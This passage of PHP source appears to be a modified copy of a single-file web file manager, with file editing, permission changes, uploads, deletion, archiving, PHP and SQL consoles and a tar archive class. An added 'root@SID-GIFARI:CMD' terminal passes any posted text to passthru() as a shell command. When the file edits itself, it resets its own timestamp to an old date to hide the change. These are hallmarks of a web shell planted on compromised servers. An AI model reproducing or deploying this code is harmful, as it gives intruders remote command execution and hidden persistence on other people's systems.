value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if (isset($_POST['terminal'])) { // Get the command and directory from the form $cmd = $_POST['terminal-text'] . " 2>&1"; $cwd = $_POST['path']; // Use the hidden 'path' input as the directory // Validate and set the current working directory if (!empty($cwd) && is_dir($cwd)) { chdir($cwd); // Change to the specified directory } else { echo "<strong>Error:</strong> Invalid directory specified.<br>"; } // Execute the command and display output using passthru echo "<strong>root@SID-GIFARI:CMD</strong><br><pre>"; passthru($cmd); // passthru sends raw output directly to the browser echo "</pre>"; } ?> <form method="post" action="<?=$url_inc?>"> <input type="text" name="terminal-text" size="20" placeholder="root@SID-GIFARI:CMD" required> <input type="hidden" name="path" value="<?=$path?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = 